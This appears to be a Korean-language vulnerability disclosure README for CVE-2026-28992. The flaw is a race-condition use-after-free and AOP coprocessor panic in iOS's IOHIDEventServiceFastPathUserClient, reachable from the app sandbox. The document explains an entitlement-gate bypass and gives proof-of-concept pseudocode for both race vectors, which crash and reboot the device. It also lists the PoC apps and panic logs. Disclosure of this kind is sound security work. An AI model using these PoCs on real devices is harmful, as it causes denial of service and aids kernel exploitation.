
IOHIDEventServiceFastPathUserClient의 UAF 및 AOP 보조 프로세서 패닉. Entitlements가 필요하지 않으며, 앱 샌드박스에서 도달 가능합니다.
CVE-2026-28992 | 저자: Johnny Franks (@zeroxjf)
구성 요소: IOHIDFamily
영향: 공격자가 예기치 않은 앱 종료를 유발할 수 있음
설명: 메모리 손상 취약점이 개선된 잠금으로 해결되었습니다.
두 PoC 모두 커널 패닉을 일으키고 영향을 받은 기기를 재부팅합니다. 먼저 작업을 저장하세요.
IOHIDEventServiceFastPathUserClient(IOHIDFamily kext)에 두 가지 경쟁 조건이 존재합니다. 자격(entitlement)이 필요하지 않으며 일반 앱 샌드박스에서 도달 가능합니다.
두 벡터 모두 IOServiceOpen(service, task, 2, &conn)을 사용합니다. sel0 열기 게이트는 initWithTask 중 저장된 자격 플래그 대신 호출자가 제공한 OSDictionary에서 FastPathHasEntitlement 및 FastPathMotionEventEntitlement를 확인합니다. 샌드박스 앱은 입력 구조체에 해당 키를 포함하여 게이트를 통과합니다.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
닫기 경로(sel1)는 잠금 없이 provider 상태를 버리고 +0x109를 클리어합니다. copyEvent(sel2)는 커넥션별 잠금 하에 다른 플래그(+0x108)를 확인한 후 provider를 호출합니다. 동일한 provider에 대한 여러 연결은 닫기와 copyEvent가 공유되는 provider 측 객체에 대해 서로 다른 잠금 도메인에서 작동함을 의미합니다.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy는 비동기 didTerminate → close/teardown을 트리거하며, 다른 연결의 동시 sel0 열기 경로와 동기화되지 않습니다. 이는 또한 SPU 기반 provider의 메일박스를 포화시켜 AOP 워치독 시간 초과를 유발합니다.
| 경로 | 설명 |
|---|
UAFPoc/ | UAF를 트리거하는 iOS 앱 (A17+에서 MTE 태그 폴트, A17 이전에서 데이터 어보트) |
AOPPanicPoc/ | SPU 메일박스 포화를 통해 AOP 코프로세서 패닉을 트리거하는 iOS 앱 |
panic-logs/mte-tag-fault.ips | 커널 태그 검사 폴트 — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | 커널 데이터 어보트 — iPad Pro 12.9 2세대 (A10X, MTE/PAC 없음) |
panic-logs/aop-panic.ips | AOP 코프로세서 패닉 — iPhone 17 Pro Max (SPU 메일박스 오버플로) |